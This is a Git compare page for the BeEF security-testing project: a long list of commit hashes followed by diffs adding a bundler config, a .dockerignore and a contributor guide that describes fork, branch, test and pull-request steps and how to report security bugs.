Compare commits
846 Commits
beef-0.4.7
...
revert-259
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
15b6bf25a8 | ||
|
|
50c06a9a29 | ||
|
|
d188edf25b | ||
|
|
ea86221710 | ||
|
|
c302bf78f6 | ||
|
|
b993c55e9a | ||
|
|
71a678cf9a | ||
|
|
10e984c94b | ||
|
|
dc9e41c55a | ||
|
|
03f70879f2 | ||
|
|
1152715646 | ||
|
|
8abae7cc85 | ||
|
|
6041cbf595 | ||
|
|
ed4c9169b3 | ||
|
|
d8b5331544 | ||
|
|
a0b589ecd2 | ||
|
|
6f5f5e7493 | ||
|
|
b3d2ee8016 | ||
|
|
cbc5ce1601 | ||
|
|
8a0e122dc9 | ||
|
|
74325078cc | ||
|
|
111a07c016 | ||
|
|
c318b31fd7 | ||
|
|
72261c4fcd | ||
|
|
92e5a50f9b | ||
|
|
9f99d65e39 | ||
|
|
8d98a8e205 | ||
|
|
77983167db | ||
|
|
d1df07f13d | ||
|
|
70685c94a4 | ||
|
|
d761611056 | ||
|
|
87318f5a14 | ||
|
|
94063f2f33 | ||
|
|
fc7df4748f | ||
|
|
24dd89884b | ||
|
|
e69281e341 | ||
|
|
ddc06f1d7e | ||
|
|
8d23c0e482 | ||
|
|
28618367ea | ||
|
|
b1382e0be3 | ||
|
|
c1e63d2486 | ||
|
|
b56345fcdf | ||
|
|
0221a1c7da | ||
|
|
de60112928 | ||
|
|
7a1e500946 | ||
|
|
eea9740f4f | ||
|
|
73a3d17f29 | ||
|
|
f68e420318 | ||
|
|
b87463a60d | ||
|
|
107cdd3f54 | ||
|
|
d9d2c9c64b | ||
|
|
b911c8df23 | ||
|
|
9bc8d017e6 | ||
|
|
a7a4c81468 | ||
|
|
cbe9f66990 | ||
|
|
1c395a3153 | ||
|
|
0636e815db | ||
|
|
b46edb4d1a | ||
|
|
5fdd96f576 | ||
|
|
033dbc1192 | ||
|
|
67892d46a8 | ||
|
|
d2f27e6f2e | ||
|
|
57ab7fda84 | ||
|
|
139359a760 | ||
|
|
38b7ac7c23 | ||
|
|
52996d4fc5 | ||
|
|
4dbced4f55 | ||
|
|
c5e17be6db | ||
|
|
1c7a6e9fef | ||
|
|
f104a5daff | ||
|
|
216d312ebe | ||
|
|
9b277a0276 | ||
|
|
c7a3d4c032 | ||
|
|
1c4ffa33d3 | ||
|
|
908b6a7a0c | ||
|
|
14d7975c7a | ||
|
|
f9f2121219 | ||
|
|
e22d262bbf | ||
|
|
ae9976b050 | ||
|
|
124c9d60b3 | ||
|
|
9f7e1ecfc1 | ||
|
|
b68fcecd46 | ||
|
|
29e025bbfc | ||
|
|
01c3413687 | ||
|
|
a64480dfab | ||
|
|
bbe805f017 | ||
|
|
aa7a6f9e64 | ||
|
|
43af6391f0 | ||
|
|
5f143a8e41 | ||
|
|
bbe4fda350 | ||
|
|
afec9fbaa2 | ||
|
|
20f9f2e530 | ||
|
|
060a3bfae2 | ||
|
|
e75f5a87c2 | ||
|
|
d9cc5cb364 | ||
|
|
dd82546998 | ||
|
|
7c4a90c51a | ||
|
|
fb622e8c4c | ||
|
|
d0e2894137 | ||
|
|
448c3e864b | ||
|
|
9770e09d96 | ||
|
|
8294784268 | ||
|
|
fe7627e169 | ||
|
|
0d084f00c6 | ||
|
|
5f4610a4cb | ||
|
|
35e1f36f44 | ||
|
|
c2a2ce4a4c | ||
|
|
77a30ae720 | ||
|
|
3ed9e7ab2f | ||
|
|
f33e2698a0 | ||
|
|
a606a0bd77 | ||
|
|
e3ec7708e3 | ||
|
|
fe7a07d6c5 | ||
|
|
260c3fc52a | ||
|
|
e0d208e508 | ||
|
|
9e882cd9d5 | ||
|
|
d96af71220 | ||
|
|
2f08343015 | ||
|
|
113e6214f2 | ||
|
|
21fd7ca0c5 | ||
|
|
0b41775618 | ||
|
|
9181c83a87 | ||
|
|
66257f1cf3 | ||
|
|
b42aebd99f | ||
|
|
77c9991a35 | ||
|
|
c6bb893c32 | ||
|
|
6f6124e40f | ||
|
|
d7a3ffb2c3 | ||
|
|
c8595b09b7 | ||
|
|
e9b113226d | ||
|
|
be9b7655fe | ||
|
|
a6fcb1a14f | ||
|
|
784e6db9ce | ||
|
|
0d0e51452c | ||
|
|
08faef394b | ||
|
|
1aa86bd64a | ||
|
|
b7108bc069 | ||
|
|
a674c9d25f | ||
|
|
99c6287a67 | ||
|
|
2794bc3cf4 | ||
|
|
541933a45f | ||
|
|
9cef23be22 | ||
|
|
7c3e342981 | ||
|
|
3b34e428cc | ||
|
|
ea65554a50 | ||
|
|
dc68ed9390 | ||
|
|
1ae320c3bc | ||
|
|
43e3fa5432 | ||
|
|
694df4c17b | ||
|
|
b0e59d2c55 | ||
|
|
b6425e4a90 | ||
|
|
c96b5e8968 | ||
|
|
27e58a714d | ||
|
|
16e14c6f2e | ||
|
|
9f7dcdf250 | ||
|
|
15af383355 | ||
|
|
b4dae0f58b | ||
|
|
588e32966a | ||
|
|
6d882b5016 | ||
|
|
d959956271 | ||
|
|
702dfbd878 | ||
|
|
681511358e | ||
|
|
739b168602 | ||
|
|
0f7567cc4b | ||
|
|
5d0a499a12 | ||
|
|
b58978870d | ||
|
|
4bede1bc01 | ||
|
|
663d8e7489 | ||
|
|
4140300906 | ||
|
|
5a65f1610e | ||
|
|
fc6ae645d9 | ||
|
|
42d9e431b7 | ||
|
|
6638e2e234 | ||
|
|
6adad0911b | ||
|
|
f754ee6beb | ||
|
|
c23a93a84e | ||
|
|
ef8819d78c | ||
|
|
8acc31f784 | ||
|
|
b8a9eecaf4 | ||
|
|
90798571d5 | ||
|
|
2d19294540 | ||
|
|
845b2db255 | ||
|
|
a26653719c | ||
|
|
6493df8502 | ||
|
|
b1f9bae470 | ||
|
|
b4d549fe48 | ||
|
|
f1203ebd68 | ||
|
|
5df9a7f17e | ||
|
|
e447f1ba2d | ||
|
|
25172353d0 | ||
|
|
f8e41a939f | ||
|
|
f27eda4021 | ||
|
|
8ee08bdbda | ||
|
|
4ec6ecee27 | ||
|
|
49478370d8 | ||
|
|
f1f5198ba1 | ||
|
|
dd0c8aa850 | ||
|
|
9ddd694842 | ||
|
|
a7c4b3215a | ||
|
|
360d6bb345 | ||
|
|
dd6c8283cd | ||
|
|
a5603eafde | ||
|
|
38b0e44115 | ||
|
|
8876f69ba6 | ||
|
|
36bd907f99 | ||
|
|
72870deea6 | ||
|
|
fc9b11e658 | ||
|
|
fbafdae50a | ||
|
|
b9c5ee73fb | ||
|
|
1aa8a6aec6 | ||
|
|
381cbec8a9 | ||
|
|
9a8108e0f5 | ||
|
|
3a0178bedc | ||
|
|
064fb5fdb2 | ||
|
|
09bcb5b704 | ||
|
|
dbd20a742e | ||
|
|
0c07a5f853 | ||
|
|
967bcf4069 | ||
|
|
75bd2f8fb3 | ||
|
|
9a7a36a3ce | ||
|
|
f3313fde8a | ||
|
|
7fa269ff81 | ||
|
|
b0c0e6e2ba | ||
|
|
b8528e5df5 | ||
|
|
7169d84b88 | ||
|
|
36263fa3a5 | ||
|
|
dd3b635a48 | ||
|
|
edda0188d5 | ||
|
|
4fc300ff87 | ||
|
|
8e0a1b6b87 | ||
|
|
9696b05aba | ||
|
|
a8606697e0 | ||
|
|
a92d4d910c | ||
|
|
c8dc77bea8 | ||
|
|
09cc1ee50d | ||
|
|
46ef842bcf | ||
|
|
9458bd8fc6 | ||
|
|
3b82ba16dd | ||
|
|
bf1be0fc16 | ||
|
|
9d3206b226 | ||
|
|
c86bde43d6 | ||
|
|
58e690d304 | ||
|
|
bc77749236 | ||
|
|
0857a95a7e | ||
|
|
a2c354bb3d | ||
|
|
0c768ec54b | ||
|
|
753bc36218 | ||
|
|
a5e865f75f | ||
|
|
ef5ecf3a5b | ||
|
|
796b3ada20 | ||
|
|
7c7c56152d | ||
|
|
a8115f1635 | ||
|
|
00f20fd0f0 | ||
|
|
3c97f0302e | ||
|
|
7ae51d2593 | ||
|
|
5d82ddbe74 | ||
|
|
dc838ae77c | ||
|
|
4a3deb5b4b | ||
|
|
f33dc7aec0 | ||
|
|
f7e46c5994 | ||
|
|
053c98cc60 | ||
|
|
fa406ed071 | ||
|
|
e1430f5e43 | ||
|
|
af6db74058 | ||
|
|
dbb6cb1332 | ||
|
|
18e76512de | ||
|
|
e94ac0169f | ||
|
|
93df6694b8 | ||
|
|
bf0e20991d | ||
|
|
fe2dd0ac01 | ||
|
|
3a713ffd76 | ||
|
|
69998ee176 | ||
|
|
d43e0bafb4 | ||
|
|
443e8df251 | ||
|
|
d51c6ae93e | ||
|
|
a82e5209be | ||
|
|
a85f0d78d0 | ||
|
|
0375acd7f8 | ||
|
|
45f6595bda | ||
|
|
0c429a8d43 | ||
|
|
31a19692f8 | ||
|
|
81cd4e7533 | ||
|
|
8b8e19f216 | ||
|
|
878e235e0b | ||
|
|
92f3bdba2b | ||
|
|
e9b31e4d6c | ||
|
|
9849bab134 | ||
|
|
0f14e4d3b7 | ||
|
|
e449537ad8 | ||
|
|
8488bc3866 | ||
|
|
6480127929 | ||
|
|
ece8151ece | ||
|
|
3e6b75882e | ||
|
|
66868e748d | ||
|
|
8e1edf5cea | ||
|
|
5555d32367 | ||
|
|
5f8bf6b14a | ||
|
|
3f47d2f838 | ||
|
|
8ff669c9fc | ||
|
|
b397c2f5d5 | ||
|
|
dc80537693 | ||
|
|
334cbf895f | ||
|
|
bb2879afcd | ||
|
|
887f550d90 | ||
|
|
f4370bcf6f | ||
|
|
4a7f338527 | ||
|
|
dd2fad3d14 | ||
|
|
43dd0a2562 | ||
|
|
192c666fc8 | ||
|
|
bf0f22a1fe | ||
|
|
59c34d5697 | ||
|
|
7decd7a53d | ||
|
|
423ae6bf41 | ||
|
|
70a9db28be | ||
|
|
daef8b0a22 | ||
|
|
ca1df10953 | ||
|
|
0b4428951c | ||
|
|
822bd61426 | ||
|
|
4726647d2f | ||
|
|
e9a012c04b | ||
|
|
bf085bd562 | ||
|
|
9a4ad1ebb9 | ||
|
|
ce29f9dec8 | ||
|
|
6b1290b26e | ||
|
|
d0c0763815 | ||
|
|
f0ad6795b2 | ||
|
|
944e4e1372 | ||
|
|
b5c7cd39b5 | ||
|
|
afdbe70e56 | ||
|
|
2ffbe6699d | ||
|
|
ea461c32d5 | ||
|
|
00ee6df79e | ||
|
|
44aadbc6d9 | ||
|
|
3a46868386 | ||
|
|
993b288c47 | ||
|
|
ac4412e1cb | ||
|
|
cbae450b10 | ||
|
|
696e6b7633 | ||
|
|
1ec3546532 | ||
|
|
23b53d3276 | ||
|
|
25e139d379 | ||
|
|
1386e3e1c3 | ||
|
|
630270b6c3 | ||
|
|
d3db1d5407 | ||
|
|
0d196aa1ea | ||
|
|
ef7663904a | ||
|
|
fbe3d3555e | ||
|
|
f17e631dd5 | ||
|
|
3a9d94fa85 | ||
|
|
0147ab4251 | ||
|
|
b0f6f02cb6 | ||
|
|
df617fde36 | ||
|
|
7fcc325482 | ||
|
|
49459fd9bc | ||
|
|
1784347dff | ||
|
|
0e1efd0f5d | ||
|
|
febe80d046 | ||
|
|
b62e4c0b3a | ||
|
|
3318b1e059 | ||
|
|
d257109a9d | ||
|
|
72ebcc0bbd | ||
|
|
1f8a66a3a0 | ||
|
|
3040576664 | ||
|
|
c059799bf8 | ||
|
|
f0de378f4b | ||
|
|
c230cd086b | ||
|
|
d6ee3788eb | ||
|
|
27af3e90b6 | ||
|
|
5ac339d671 | ||
|
|
383bfb9e5b | ||
|
|
5ed92934ed | ||
|
|
4fb1a32ec1 | ||
|
|
bd743106f2 | ||
|
|
6edc5ab846 | ||
|
|
b81f16b28d | ||
|
|
a0d74e9bc7 | ||
|
|
ba83d05681 | ||
|
|
11bb90c2aa | ||
|
|
d643388710 | ||
|
|
4daff898d1 | ||
|
|
847cba488b | ||
|
|
e2c1956ec2 | ||
|
|
7d709c7973 | ||
|
|
b048352d81 | ||
|
|
d44b6e6729 | ||
|
|
4198363923 | ||
|
|
8f1f2d32b1 | ||
|
|
0086c38933 | ||
|
|
9da40565d9 | ||
|
|
60c307bc4e | ||
|
|
41459e3c3e | ||
|
|
5e51c9ffee | ||
|
|
bf2458392c | ||
|
|
17ae1c9894 | ||
|
|
e9da991a66 | ||
|
|
31cd48319f | ||
|
|
c5f9cb9e5f | ||
|
|
2f70b7c025 | ||
|
|
66f1c25180 | ||
|
|
6e3ac8aff5 | ||
|
|
9903c02188 | ||
|
|
b7b78b84c8 | ||
|
|
d34ff17ffa | ||
|
|
b15a8bc3d7 | ||
|
|
5658009f91 | ||
|
|
9f5b3c540d | ||
|
|
1db08ad9f6 | ||
|
|
165fc483e5 | ||
|
|
2317714f0c | ||
|
|
6fb1618a47 | ||
|
|
434a13ce80 | ||
|
|
d61b38edcb | ||
|
|
8fd71d66e0 | ||
|
|
a279c1699a | ||
|
|
6ff10cb5dd | ||
|
|
0b30172224 | ||
|
|
b78ff672ce | ||
|
|
12317c03a5 | ||
|
|
6db311da92 | ||
|
|
0376aa519f | ||
|
|
539a17bbee | ||
|
|
0fbb46d721 | ||
|
|
788623227b | ||
|
|
faaac279c1 | ||
|
|
18357dbbff | ||
|
|
25f45ba1cb | ||
|
|
f1e36647f9 | ||
|
|
4fae78b4d5 | ||
|
|
07037587e8 | ||
|
|
a4f06bbaac | ||
|
|
f6fdaa39ac | ||
|
|
3389a73e39 | ||
|
|
f82d4645d5 | ||
|
|
5ee6ac4126 | ||
|
|
8b69279124 | ||
|
|
a32f4ecf7b | ||
|
|
9f5452d5d5 | ||
|
|
f5ee0219f8 | ||
|
|
b2cb798020 | ||
|
|
4234bf4e48 | ||
|
|
c6f9f182eb | ||
|
|
91dbaa8931 | ||
|
|
6100c77426 | ||
|
|
1cb7103df6 | ||
|
|
1250a45fa2 | ||
|
|
44092d8519 | ||
|
|
6bf47508cb | ||
|
|
709e748797 | ||
|
|
af8b001ff8 | ||
|
|
a51a555a32 | ||
|
|
96ef0f3d9a | ||
|
|
1df856bd30 | ||
|
|
02f34cad56 | ||
|
|
97fd3f1dcb | ||
|
|
4467a9e9d2 | ||
|
|
a59c4d6396 | ||
|
|
e957d7779d | ||
|
|
d21438a10c | ||
|
|
4d8395eaff | ||
|
|
746ef4b40a | ||
|
|
202d0ff8ab | ||
|
|
6a32aa958f | ||
|
|
02fa3af41f | ||
|
|
764e54fda5 | ||
|
|
80dd70660b | ||
|
|
9509b68c9f | ||
|
|
d15d68a21a | ||
|
|
0b78cf7752 | ||
|
|
4a020fc1ee | ||
|
|
0b1ab1453b | ||
|
|
71a5d888b5 | ||
|
|
fe93c4e303 | ||
|
|
b44275aac6 | ||
|
|
d2e295c860 | ||
|
|
6d74889608 | ||
|
|
68e9487781 | ||
|
|
ab8af27982 | ||
|
|
2a5d377ec1 | ||
|
|
68a78c0e4d | ||
|
|
539860e333 | ||
|
|
eada815b3b | ||
|
|
1bb4a5856e | ||
|
|
dc20e03569 | ||
|
|
6c503e4143 | ||
|
|
bd35469757 | ||
|
|
54929dad9f | ||
|
|
549df7480a | ||
|
|
4e241415d1 | ||
|
|
e43b79fa5b | ||
|
|
9649a0f857 | ||
|
|
5014771060 | ||
|
|
b645a730fa | ||
|
|
6ced8acd8b | ||
|
|
1989e49df0 | ||
|
|
d5d7542be2 | ||
|
|
31b039b0c5 | ||
|
|
1ba8b6d29a | ||
|
|
0a39de17e0 | ||
|
|
abbe9db66b | ||
|
|
3b20c8eee9 | ||
|
|
55112fe492 | ||
|
|
1aa76f93cb | ||
|
|
804fc6363a | ||
|
|
4319f73fe7 | ||
|
|
667b773cc5 | ||
|
|
0a7f9ec222 | ||
|
|
7a2f90534f | ||
|
|
fd9c4758d5 | ||
|
|
7406360065 | ||
|
|
ba81a386e1 | ||
|
|
45034fcfe6 | ||
|
|
3619567116 | ||
|
|
a271d7656b | ||
|
|
7a27db0b3d | ||
|
|
c2c8b87cfb | ||
|
|
33c97ae9bb | ||
|
|
477188944d | ||
|
|
815d2e4bb8 | ||
|
|
c610aa1666 | ||
|
|
0ffd87059a | ||
|
|
6431df68cf | ||
|
|
4a0f8360c9 | ||
|
|
340279f91c | ||
|
|
5837502670 | ||
|
|
4e0a2bb465 | ||
|
|
a3eca63504 | ||
|
|
d8fac13f8f | ||
|
|
3c6aca28fd | ||
|
|
67d0c8bca2 | ||
|
|
71cecf4e5e | ||
|
|
e5381e3c93 | ||
|
|
6db2a6f4f8 | ||
|
|
9bfa8d00f7 | ||
|
|
5841265ffa | ||
|
|
378728a6e0 | ||
|
|
e445a2c2d3 | ||
|
|
1d0513a4b6 | ||
|
|
2ed8afa647 | ||
|
|
2528381f0d | ||
|
|
4acaab249d | ||
|
|
50ed49282b | ||
|
|
28e43b23f5 | ||
|
|
097effe376 | ||
|
|
132fca5d94 | ||
|
|
38437f5536 | ||
|
|
7c5578329f | ||
|
|
f8ec92d069 | ||
|
|
326b8e2e36 | ||
|
|
7df4a714e3 | ||
|
|
698b36c929 | ||
|
|
e7157aa759 | ||
|
|
ad908e1813 | ||
|
|
a142521f17 | ||
|
|
a32f9f57f2 | ||
|
|
60a0ca0807 | ||
|
|
93ed26d10f | ||
|
|
3f59aa2d9c | ||
|
|
f836748718 | ||
|
|
419789baf5 | ||
|
|
9074ed0b22 | ||
|
|
7c1c7d6108 | ||
|
|
89c08b5ffd | ||
|
|
6ebb8a0e04 | ||
|
|
1b837dbd27 | ||
|
|
89b9c53239 | ||
|
|
53b283b71d | ||
|
|
24ee0c5095 | ||
|
|
d192522865 | ||
|
|
803fd6d3e7 | ||
|
|
a84dbcb005 | ||
|
|
d63511dd94 | ||
|
|
f317caf88a | ||
|
|
3b27cd65d8 | ||
|
|
dcb946dfa2 | ||
|
|
aae313fee0 | ||
|
|
f28bc603ad | ||
|
|
010e86dc0d | ||
|
|
591ebf6d83 | ||
|
|
047b18ec88 | ||
|
|
10f367eb5a | ||
|
|
3c3b3e2595 | ||
|
|
d1f778dab0 | ||
|
|
7a80e5f6ec | ||
|
|
e820619a74 | ||
|
|
38447da541 | ||
|
|
4e2bfc4247 | ||
|
|
714e320a12 | ||
|
|
ce62541439 | ||
|
|
03222d605f | ||
|
|
e6d689d90e | ||
|
|
d808585049 | ||
|
|
5d5a67e177 | ||
|
|
a038dee9d8 | ||
|
|
fb5e90c499 | ||
|
|
ac49a53814 | ||
|
|
27ca299efe | ||
|
|
120a1c3f62 | ||
|
|
453e4bacab | ||
|
|
23dc5c7114 | ||
|
|
6106854dbe | ||
|
|
cc21bb644b | ||
|
|
96704088dc | ||
|
|
b84872e521 | ||
|
|
9a59297daf | ||
|
|
cbe5381997 | ||
|
|
27514b93d3 | ||
|
|
39c07feeb2 | ||
|
|
3507ffe652 | ||
|
|
43e2e5bec0 | ||
|
|
62186583a6 | ||
|
|
ac2627383d | ||
|
|
811d20eea0 | ||
|
|
cbd42c198a | ||
|
|
282575f9a6 | ||
|
|
cecbabe42a | ||
|
|
7d9a235bbf | ||
|
|
375c0d9b8b | ||
|
|
4ac293a2e5 | ||
|
|
00eaa6a661 | ||
|
|
fc1b0c6da4 | ||
|
|
d417645b28 | ||
|
|
3f314fc055 | ||
|
|
d2f3c7fbe2 | ||
|
|
a46a2fe2c1 | ||
|
|
d76294735c | ||
|
|
976eb5ec1c | ||
|
|
3770b43534 | ||
|
|
ee1739b200 | ||
|
|
c01c07ad81 | ||
|
|
256377a8db | ||
|
|
17b0949f02 | ||
|
|
ce72aa8fc0 | ||
|
|
bac84f4f26 | ||
|
|
4d7810e730 | ||
|
|
9945fcd3eb | ||
|
|
ce4f480957 | ||
|
|
079f3dae56 | ||
|
|
7e4f636869 | ||
|
|
5de127a0e2 | ||
|
|
d26a0fda33 | ||
|
|
a113d896e7 | ||
|
|
d0dced8848 | ||
|
|
28b5eef779 | ||
|
|
a2de71c151 | ||
|
|
1c4ef22947 | ||
|
|
efad3c3d23 | ||
|
|
35876694b0 | ||
|
|
9065fc9514 | ||
|
|
998c3fd8b2 | ||
|
|
f5de5eb7c0 | ||
|
|
39ef3fe4f6 | ||
|
|
1ff2272566 | ||
|
|
5db7f16eef | ||
|
|
ac9edf15d4 | ||
|
|
eb5feb6f4f | ||
|
|
5de583d874 | ||
|
|
886787c418 | ||
|
|
3c209fd0d9 | ||
|
|
ea9a85ac7d | ||
|
|
e8dba51a21 | ||
|
|
5d7529c6c6 | ||
|
|
56ba542c05 | ||
|
|
9046922c3d | ||
|
|
e54517a962 | ||
|
|
442a6f8595 | ||
|
|
c6910a71a2 | ||
|
|
3702ec6fa1 | ||
|
|
fc3ed5cd16 | ||
|
|
8e783ad2bd | ||
|
|
f608cacb2f | ||
|
|
ba15644e32 | ||
|
|
de7866dc87 | ||
|
|
15af93c39e | ||
|
|
4324876671 | ||
|
|
b4116e7a7f | ||
|
|
e9636599ac | ||
|
|
53f2529718 | ||
|
|
160f0c4b1c | ||
|
|
1bdafffe2c | ||
|
|
7d95afef51 | ||
|
|
470b3483d0 | ||
|
|
1e7022654e | ||
|
|
d0ea2cebe4 | ||
|
|
1a8a8d9154 | ||
|
|
e8e7ba26e4 | ||
|
|
c23e78f2de | ||
|
|
7b7531f62c | ||
|
|
c89484931c | ||
|
|
0d63b724d5 | ||
|
|
6a8c8d7081 | ||
|
|
d0f636cf7e | ||
|
|
0943ee4ad3 | ||
|
|
8627af1001 | ||
|
|
e8c1456371 | ||
|
|
b597c1a4f2 | ||
|
|
6f34d1c807 | ||
|
|
a8f18706b1 | ||
|
|
66b68ac489 | ||
|
|
516b787c80 | ||
|
|
6d05f8c4ed | ||
|
|
62f7e52b40 | ||
|
|
bae6557b9c | ||
|
|
0bb5fc8bd4 | ||
|
|
fdad5f459d | ||
|
|
ee242441ce | ||
|
|
42bb1f2d1a | ||
|
|
feb57aca91 | ||
|
|
4435a02d48 | ||
|
|
9e31f7d1eb | ||
|
|
0b67f4c2e8 | ||
|
|
5a05bd965e | ||
|
|
bc6d7dc934 | ||
|
|
7043212a58 | ||
|
|
3273513e9d | ||
|
|
ae70388da3 | ||
|
|
4db3853535 | ||
|
|
3c809a785d | ||
|
|
9a6b410aaa | ||
|
|
b4013bb74b | ||
|
|
a4139d6e60 | ||
|
|
a397b67148 | ||
|
|
42b5a4fe58 | ||
|
|
b5e5689eca | ||
|
|
dff44bc865 | ||
|
|
6594aa0b03 | ||
|
|
750c41cca8 | ||
|
|
c56ca60241 | ||
|
|
cc08bb56f2 | ||
|
|
f5a4671550 | ||
|
|
52f091fd21 | ||
|
|
6a208245ed | ||
|
|
8ca7e2135c | ||
|
|
173d55714a | ||
|
|
502a52452c | ||
|
|
b89fbd9268 | ||
|
|
7c2a56945c | ||
|
|
97ab3625f5 | ||
|
|
8b244c6f58 | ||
|
|
3950e934a6 | ||
|
|
0f74b6faf2 | ||
|
|
ea9c281804 | ||
|
|
36336e4c5f | ||
|
|
7462dea1e0 | ||
|
|
f83add866e | ||
|
|
3959d2c8bb | ||
|
|
9b5c8e39df | ||
|
|
87b8093504 | ||
|
|
eff7b99393 | ||
|
|
b88774cdbf | ||
|
|
58447e4007 | ||
|
|
fce763e9f3 | ||
|
|
3068fbead5 | ||
|
|
96e4063e2a | ||
|
|
8cbae6a830 | ||
|
|
66bec03158 | ||
|
|
557452b95d | ||
|
|
91332844c8 | ||
|
|
88c488969e | ||
|
|
80bfc21516 | ||
|
|
aac1b0bc10 | ||
|
|
d1d5d1d648 | ||
|
|
c85e3c01b5 | ||
|
|
7841f55166 | ||
|
|
12e5f51721 | ||
|
|
b6d338d334 | ||
|
|
151976176a | ||
|
|
2f71b35f7b | ||
|
|
5bfd1e54df | ||
|
|
0574bdf002 | ||
|
|
91265cad77 | ||
|
|
21d0906c12 | ||
|
|
d588c56391 | ||
|
|
4cecca4075 | ||
|
|
9babcba7c3 | ||
|
|
405241c5d0 | ||
|
|
0cd8878a3f | ||
|
|
06d1ba7754 | ||
|
|
704e675edf | ||
|
|
d6972adfcb | ||
|
|
ba3183ef38 | ||
|
|
0b0e7840fc | ||
|
|
3de78156c2 | ||
|
|
0531cdf745 | ||
|
|
d8f838980f | ||
|
|
731527e259 | ||
|
|
ad3927485c | ||
|
|
a35d0eae5e | ||
|
|
dd336fa8a2 | ||
|
|
ce6d261c05 | ||
|
|
6b34f1ea3a | ||
|
|
c2f9922920 | ||
|
|
fb168f7480 | ||
|
|
a777be1254 | ||
|
|
31aae8fdaf | ||
|
|
060ed96c7f | ||
|
|
43dd97fe72 | ||
|
|
625e4ce386 | ||
|
|
042713f257 | ||
|
|
3df5afc930 | ||
|
|
61f0363859 | ||
|
|
de8eb60370 | ||
|
|
b238595a2c | ||
|
|
a2151e77ad | ||
|
|
dc8d59f000 | ||
|
|
494650923e | ||
|
|
d1cb59a728 | ||
|
|
10cd685007 | ||
|
|
d8885ef51e | ||
|
|
5e18495b33 | ||
|
|
86f4697765 | ||
|
|
c2d82ace7d | ||
|
|
6ca6054c68 | ||
|
|
b0732f21e6 | ||
|
|
1867a69311 | ||
|
|
07cc6f9542 | ||
|
|
7df8888505 | ||
|
|
3ea946ed19 | ||
|
|
a62e502fce | ||
|
|
dab4288501 | ||
|
|
367e91b095 | ||
|
|
a6cce27518 | ||
|
|
b8fe5f1b80 | ||
|
|
64d5638a81 | ||
|
|
5eb3b686f1 | ||
|
|
639d14c682 | ||
|
|
0b740d6c81 | ||
|
|
7c5a5b4df4 | ||
|
|
4396547cdd | ||
|
|
c385b1a352 | ||
|
|
a103ca3f30 | ||
|
|
0ed6c3866e | ||
|
|
355cb38593 | ||
|
|
35b3505bf8 | ||
|
|
654cf5427f | ||
|
|
1cc3136421 | ||
|
|
20e61d9e81 | ||
|
|
99b54583cc | ||
|
|
46d82dc8b8 | ||
|
|
d698b6a0ba | ||
|
|
8e7522b1b1 | ||
|
|
6052ec99da | ||
|
|
13c539effe | ||
|
|
39aa3fdeea | ||
|
|
00dca685c1 | ||
|
|
f24a25f6b1 | ||
|
|
2fa56c419f |
2
.bundle/config
Normal file
2
.bundle/config
Normal file
@@ -0,0 +1,2 @@
|
||||
---
|
||||
BUNDLE_WITHOUT: "development:test"
|
||||
9
.dockerignore
Normal file
9
.dockerignore
Normal file
@@ -0,0 +1,9 @@
|
||||
# Don't copy over git files
|
||||
.git
|
||||
.github
|
||||
.gitignore
|
||||
doc
|
||||
docs
|
||||
scripts
|
||||
test
|
||||
update-beef
|
||||
84
.github/CONTRIBUTING.md
vendored
Normal file
84
.github/CONTRIBUTING.md
vendored
Normal file
@@ -0,0 +1,84 @@
|
||||
# Contributing
|
||||
### Anyone is welcome to make BeEF better!
|
||||
Thank you for wanting to contribute to BeEF. It's effort like yours that helps make BeEF such a great tool.
|
||||
|
||||
Following these guidelines shows that you respect the time of the developers developing this open source project and helps them help you. In response to this, they should return that respect in addressing your issue, assisting with changes, and helping you finalize your pull requests.
|
||||
|
||||
### We want any form of helpful contributions!
|
||||
|
||||
|
||||
BeEF is an open source project and we love to receive contributions from the community! There are many ways to contribute, from writing tutorials or blog posts, improving or translating the documentation, answering questions on the project, submitting bug reports and feature requests or writing or reviewing code which can be merged into BeEF itself.
|
||||
|
||||
# Ground Rules
|
||||
|
||||
### Responsibilities
|
||||
> * When making an issue, ensure the issue template is filled out, failure to do so can and will result in a closed ticket and a delay in support.
|
||||
> * We now have a two-week of unresponsiveness period before closing a ticket, if this happens, just comment responding to the issue which will re-open the ticket. Ensure to make sure all information requested is provided.
|
||||
> * Ensure cross-platform compatibility for every change that's accepted. Mac and Linux are currently supported.
|
||||
> * Create issues for any major changes and enhancements that you wish to make. Discuss things transparently and get community feedback.
|
||||
> * Ensure language is as respectful and appropriate as possible.
|
||||
> * Keep merges as straightforward as possible, only address one issue per commit where possible.
|
||||
> * Be welcoming to newcomers and try to assist where possible, everyone needs help.
|
||||
|
||||
# Where to start
|
||||
### Looking to make your first contribution
|
||||
|
||||
Unsure where to begin contributing to BeEF? You can start by looking through these issues:
|
||||
|
||||
* Good First Issue - issues which should only require a few changes, and are good to start with.
|
||||
* Question - issues which are a question and need a response. A good way to learn more about BeEF is to try to solve a problem.
|
||||
|
||||
At this point, you're ready to make your changes! Feel free to ask for help; everyone is a beginner at first.
|
||||
|
||||
If a maintainer asks you to "rebase" your PR, they're saying that code has changed, and that you need to update your branch so it's easier to merge.
|
||||
|
||||
### Ruby best practise
|
||||
Do read through: https://rubystyle.guide
|
||||
Try and follow through with the practices throughout, even going through it once will help keep the codebase consistent.
|
||||
Use Rubocop to help ensure that the changes adhere to current standards, we are currently catching up old codebase to match.
|
||||
Just run the following in the /beef directory.
|
||||
> rubocop
|
||||
|
||||
# Getting started
|
||||
|
||||
### How to submit a contribution.
|
||||
|
||||
1. Create your own fork of the code
|
||||
|
||||
2. Checkout the master branch
|
||||
> git checkout master
|
||||
|
||||
3. Create a new branch for your feature
|
||||
> git checkout -b my-cool-new-feature
|
||||
|
||||
4. Add your new files
|
||||
> git add modules/my-cool-new-module
|
||||
|
||||
5. Modify or write a test case/s in Rspec for your changes
|
||||
|
||||
6. Commit your changes with a relevant message
|
||||
> git commit
|
||||
|
||||
7. Push your changes to GitHub
|
||||
> git push origin my-cool-new-feature
|
||||
|
||||
8. Run all tests again to make sure they all pass
|
||||
|
||||
9. Edit existing wiki page / add a new one explaining the new features, including:
|
||||
- sample usage (command snippets, steps and/or screenshots)
|
||||
- internal working (code snippets & explanation)
|
||||
|
||||
10. Now browse to the following URL and create your pull request from your fork to beef master
|
||||
- Fill out the Pull Request Template
|
||||
- https://github.com/beefproject/beef/pulls
|
||||
|
||||
|
||||
# How to report a bug
|
||||
If you find a security vulnerability, do NOT open an issue. Email security@beefproject.com instead.
|
||||
|
||||
When the security team receives a security bug email, they will assign it to a primary handler.
|
||||
This person will coordinate the fix and release process, involving the following steps:
|
||||
|
||||
